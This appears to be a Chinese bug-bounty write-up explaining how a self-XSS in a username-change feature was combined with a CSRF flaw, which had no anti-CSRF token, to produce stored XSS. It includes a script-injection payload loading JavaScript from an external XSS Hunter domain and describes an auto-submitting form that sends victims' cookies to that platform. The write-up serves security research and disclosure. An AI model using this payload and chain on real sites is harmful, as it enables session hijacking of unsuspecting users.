通过组合Self-XSS + CSRF得到存储型XSS

在一次漏洞赏金挖掘中,我在更改用户名的功能点出发现了一个XSS,在修改用户名的地方添加了一个简单的XSS payload并且刷新页面:

用户设置面板

XSS证明

但是问题是这个功能配置并不是公共的,造成XSS漏洞的唯一方法是告诉受害者将其名称更改为恶意JavaScript代码,这称为Self-XSS,没有太大影响。

接下来,我使用burpsuite抓取 改变名字这个功能点的数据包:

从数据包来看,没有看到防御csrf的token,这看起来有可利用的点,于是我使用burpsuite 生成了CSRF poc

并在浏览器中重放,而得到的响应是:success

nice!现在我们有了CSRF + Self-XSS,让我们将它们组合在一起,表单如下:

最终POC

在名字字段我添加了JavaScript代码它是从xsshunter.comhttps://xsshunter.com/生成的XSS PoC

复制代码
复制代码
"><script src=https://***.xss.ht></script>

在最后我添加了JavaScript自动提交表单,使其更有效。

现在,用户名更改为JavaScript代码后,浏览主页的代码将在目标的浏览器中加载,并向XSS hunter平台发送回cookie。

存储XSS

回到XSSHunter,当任何用户打开我们的HTML表单时,平台获取到了目标cookie,由此我们可得到了一个Stored XSS(存储型XSS)。

无偿 获 取 网 安 资 料:

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关

相关推荐
Gauss松鼠会1 小时前
【GaussDB】在duckdb中查询GaussDB的数据
数据库·sql·database·gaussdb
WHOVENLY1 小时前
【javaScript】- 笔试题合集(长期更新,建议收藏,目前已更新至31题)
开发语言·前端·javascript
QT 小鲜肉1 小时前
【Linux命令大全】001.文件管理之git命令(实操篇)
linux·服务器·笔记·git·elasticsearch
指尖跳动的光1 小时前
将多次提交合并成一次提交
前端·javascript
虹科网络安全1 小时前
艾体宝洞察 | Redis vs ElastiCache:哪个更具成本效益?
数据库·redis·缓存
程序员码歌1 小时前
短思考第263天,每天复盘10分钟,胜过盲目努力一整年
android·前端·后端
自在极意功。1 小时前
MyBatis 动态 SQL 详解:从基础到进阶实战
java·数据库·mybatis·动态sql
老邓计算机毕设1 小时前
SSM校园订餐系统7z0dm(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面
数据库·菜品管理系统·ssm 框架·ssm 框架开发·校园线上订餐平台
oden1 小时前
1 小时速通!手把手教你从零搭建 Astro 博客并上线
前端
若梦plus1 小时前
JS之类型化数组
前端·javascript